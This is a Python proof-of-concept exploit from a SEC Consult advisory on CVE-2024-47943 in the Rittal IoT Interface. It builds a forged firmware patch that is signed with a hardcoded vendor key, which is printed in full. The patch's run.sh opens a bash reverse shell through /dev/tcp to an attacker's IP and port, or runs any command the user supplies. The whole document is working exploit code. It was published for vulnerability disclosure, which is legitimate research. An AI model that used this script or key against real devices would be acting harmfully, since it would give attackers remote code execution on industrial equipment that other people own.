# SEC Consult Vulnerability Lab 2024 # Advisory title: Multiple Vulnerabilities in Rittal IoT Interface # Author: Johannes Kruchem # URL: https://r.sec-consult.com/rittaliot # Script for creating signed firmware update file (CVE-2024-47943) import argparse import os import io import tarfile import hashlib parser = argparse.ArgumentParser( prog='Rittal CI', description='Creates patch file for several Rittal devices to exploit a command injection vulnerability', epilog='nice') parser.add_argument('-ip', '--ip') parser.add_argument('-p', '--port') parser.add_argument('-o', '--output') parser.add_argument('-sh', '--shell_command') args = parser.parse_args() # Create a tar archive in memory tar_in_memory = io.BytesIO() # Hardcoded "signing key" in firmware key="8ab4ce0f72bce9b3837281b7928732c5abfc43103a681214942dec2cc91f236ce8e9263f5778cc6db253ade368b0db4a9ff2adb9cc9f76c5114fe3ffcaf38bba" def add_file_to_tar(tar, name, content): file_in_memory = io.BytesIO(content) info = tarfile.TarInfo(name=name) info.size = len(file_in_memory.getvalue()) file_in_memory.seek(0) tar.addfile(tarinfo=info, fileobj=file_in_memory) # Compute sha512sum of a string to not create unnecessary files on disk def compute_sha512_from_string(input_string): hash_sha512 = hashlib.sha512() hash_sha512.update(input_string.encode('utf-8')) return hash_sha512.hexdigest() # Open the tar archive for writing with tarfile.open(fileobj=tar_in_memory, mode="w:gz") as tar: # If shell command flag is used if args.shell_command: bash_command = args.shell_command else: # Building reverse shell payload if not args.ip or not args.port: print("No port or IP for reverse shell set. Use either --shell_command or provide IP and port.") exit(1) else: bash_command = f"bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1\n" # run.sh will be executed when patching/fw upgrading add_file_to_tar(tar, "run.sh", bytes(bash_command.encode('utf-8'))) # Compute hash of run.sh and appending hardcoded key (see above) rittal_hashes = f"{compute_sha512_from_string(bash_command)} ./run.sh\n{key}\n" # Compute hash of rittal_sig = f"{compute_sha512_from_string(rittal_hashes)} rittal\n" # Add rittal.sig its content is checked during patching add_file_to_tar(tar, "rittal.sig", bytes(rittal_sig.encode('utf-8'))) if args.output: filename = f"{args.output}.patch" else: filename = "reverse_shell.patch" # Build .patch file / exploit with open(filename, "wb") as f_out: tar_in_memory.seek(0) f_out.write(tar_in_memory.getvalue())